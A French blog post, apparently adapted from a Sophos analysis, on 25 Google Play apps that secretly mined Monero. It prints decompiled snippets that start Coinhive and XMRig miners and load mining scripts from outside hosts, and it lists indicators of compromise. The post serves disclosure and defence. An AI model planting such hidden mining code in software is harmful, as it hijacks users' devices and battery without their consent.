Cryptojacking : des applications de minage de cryptomonnaies de nouveau sur Google Play !

Mobilité

Au moins 25 applications Android, sur le magasin officiel Google Play, contiennent du code qui minent des cryptomonnaies en arrière-plan.

cryptomonnaies

Même si les prix des cryptomonnaies ont considérablement chuté au cours des derniers mois, les créateurs de malwares sont toujours enthousiastes à l’idée de profiter des appareils de leurs victimes pour effectuer du minage. Parallèlement à notre contribution au rapport Cyber Threat Alliance report on cryptomining and cryptojacking, sorti la semaine dernière, nous publions à présent ce rapport sur du code de cryptomining, non divulgué, dans des applications mobiles.

Les SophosLabs ont récemment découvert 25 applications Android sur Google Play qui ont l’apparence de jeux, d’utilitaires et d’applications éducatives, mais en réalité, elles transforment l’appareil mobile de la victime en véritables plateformes opaques d’échange de cryptomonnaies. Ces applications ont été téléchargées et installées plus de 120 000 fois !

cryptomonnaies

Il a été constaté que la plupart des applications avaient intégré du code provenant de Coinhive, une implémentation JavaScript pour miner Monero. Coinhive est spécialement conçu pour effectuer les calculs à l’aide des CPUs (par opposition aux processeurs graphiques), ce qui en fait un candidat idéal pour du minage discret sur les appareils mobiles.

Le code mineur, qui ne comporte que quelques lignes, peut être facilement ajouté à toute application utilisant un navigateur WebView intégré. Monero a été la cryptomonnaie choisie par les créateurs au niveau de toutes ces applications, car il offre suffisamment de confidentialité pour masquer la source, la destination et la quantité de données minées. Ces applications utilisent le “CPU throttling” pour limiter l’utilisation du processeur pour le minage, évitant ainsi les pièges habituels : surchauffe des périphériques, surconsommation au niveau des batteries et lenteur globale des périphériques, une erreur commise l’an dernier par Loapi.

11 parmi les 25 applications étaient des applications de préparation à des tests standardisés aux États-Unis, tels que ACT, GRE ou SAT, et étaient publiées par un seul compte développeur (Gadgetium). Ces applications contiennent une page HTML contenant un mineur basé sur Coinhive.

function startMiner(n, id) {
 	if(isAlreadyStarted) return;
 	isAlreadyStarted=true;
	var miner = new CoinHive.Anonymous(id, {
		threads: n-1,
		autoThreads: true,
		throttle: 0.5
	});
	miner.start();
}

Les applications doivent d’abord activer JavaScript et charger la page HTML à l’aide de WebView.

this.mWebView.getSettings().setJavaScriptEnabled(true);
...
this.mWebView.loadUrl("file:///android_asset/test.html");

Le mineur est ensuite lancé à l’aide d’une valeur de portefeuille (miner_id) extraite depuis les ressources.

this.mWebView.loadUrl("javascript:startMiner(\"" + this.mNumCores + "\",\"" + this.getString(string.miner_id) + "\")");

Alors que la plupart des applications de minage basées sur Coinhive utilisaient des scripts hébergés sur coinhive.com, deux de ces applications, à savoir co.lighton et com.mobeleader.spsapp hébergeaient des scripts de minage sur leurs propres serveurs (illustrés ci-dessous), vraisemblablement pour contourner les pare-feu ou les contrôles parentaux et les services de réputation, susceptibles de bloquer le domaine de Coinhive par défaut.

	Log.i(this.this$1.this$0.TAG, " STOP ");
	this.this$1.this$0.web.loadUrl("about:blank");
	this.this$1.this$0.cancelNotification();
	this.this$1.this$0.mFirebaseAnalytics.logEvent("miner_stop", ((Bundle)v8));
}
else {
	Log.i(this.this$1.this$0.TAG, " START ");
	this.this$1.this$0.web.loadUrl("http://www.buyguard.co/sdk/?key=1a0Cej64dYffEiItrLIeiq4GfpPtn0Hf");
	this.this$1.this$0.setNotification();
	this.this$1.this$0.mFirebaseAnalytics.logEvent("miner_start", ((Bundle)v8));
}
this.c = new WebView(this.getApplicationContext());
this.c.getSettings().setJavaScriptEnabled(true);
this.c.setWebChromeClient(new WebChromeClient());
this.c.loadUrl("https://miner.mobeleader.com/miner.php?hash=" + 
               this.a.getString("mobeleader_appHash", "") + 
               "&coin=" + 
               this.a.getString("mobeleader_coin", ""));

L’une des applications découvertes, de.uwepost.apaintboxforkids, utilisait XMRig, un mineur CPU open-source capable de miner plusieurs cryptomonnaies, dont Monero.

ProcessBuilder v8 = new ProcessBuilder(new String[]{"./xmrig"});
v8.directory(this.getApplicationContext().getFilesDir());
v8.environment().put("LD_LIBRARY_PATH", this.privatePath);
v8.redirectErrorStream(); this.accepted = 0; this.process = v8.start();
this.outputHandler = new OutputReaderThread(this, this.process.getInputStream());
this.outputHandler.start();
Log.i("MiningSvc", "started, threads=" + arg10.threads + ", maxCpu=" + arg10.maxCpu);

Bien que les applications de minage aient été catégoriquement interdites sur Google Play, de nombreux mineurs de ce type sont toujours disponibles gratuitement sur cette marketplace.

Les SophosLabs ont informé Google au sujet de ces applications de minage en août. Certaines de ces applications ont été supprimées, mais beaucoup d’entre elles restent disponibles. Ces applications sont détectées par Sophos Mobile Security en tant que Coinhive JavaScript cryptocoin miner  et Android XMRig Miner.

Indicateurs de cryptomining :

Package Name SHA1
com.cakrawalapengetahuan.infogurupendidikan 28335b0feeef216cad3e578c62ed78450fefbf19
com.devmouakkit.mugginsdominoesgame 0f65dac3cc40e888c52f38dc0121990a47cdf773
com.gadgetium.android.act d758e3e00a002d882ed9993ba9dc1efb4e7746df
com.gadgetium.android.cat dc92d18740ae5f802a96e5da72e655f12627c927
com.gadgetium.android.sat 00739b32e5edb863e6f029aa171025a7161e5fc6
com.gadgetium.gmat 533ece694ec86d834ddcbd918aa6497741f1ef9b
com.gadgetium.gre af0348a4c975aaa1e0bf0bbc95f9f258f1653250
com.gadgetium.lsat 09807f9f2059da076b681501ba472c625bcb974d
com.gadgetium.psat 0589115a44f8dd52c9c21b92fa2b5b933663601c
com.gadgetium.test.aieee 137098f142b685caf878ae9e034797cee0dc17f9
com.gadgetium.test.aiims 73839664372812a004d65a6592c985fb26bbd7a5
com.gadgetium.test.gate 208f843528e51bc8ca1896042da3fa4a2d9dd847
com.gadgetium.test.stan 0059e145a12a99a63a364c27ead7ed04d7d2dd16
com.lhds.vendors.android 7e80cb4ae5adf85ccca8e251263e1ab44ea51611
com.palpostr.palkar b85b257e1ffd0c48811a53f3b9577669f917af6f
com.rdt.tapbugs de45eee90c954befdd7451c6d611f53ee729af6e
com.rdt.yamaya.dreamspell 299805c00b7fe80667042de671335362ebe2b62f
com.rlite.funnfair d5482461e0c70dd7e2988819a47f8161a5c4d8ad
com.servicehangar.seriestrailer c31720e56233f455b3527c5ddc536c2b9b94516c
com.thanhtuteam.gameviet2048 ffc00c57f1339abe99aa4c8e561accaed2e695ea
de.uwepost.apaintboxforkids c943fa6b495469104d2a46a11f626d65f237a3f3
com.mobeleader.spsapp 86da0dc430247a6fbbcd0fcb9b848deab37e6676
com.solovev.kghelper edaf4166d4d332659af2c7c0252ea0b09800bf2f
com.thothprojects.trancedroid 0c87047219723f4d223d37706e26eabb2efdd839
co.lighton ab0d5b5a1c8db42352cdc8173630099f8628dc5b


Billet inspiré de Cryptojacking apps return to Google Play Market, du Blog Sophos.

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Google photo

You are commenting using your Google account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s

This site uses Akismet to reduce spam. Learn how your comment data is processed.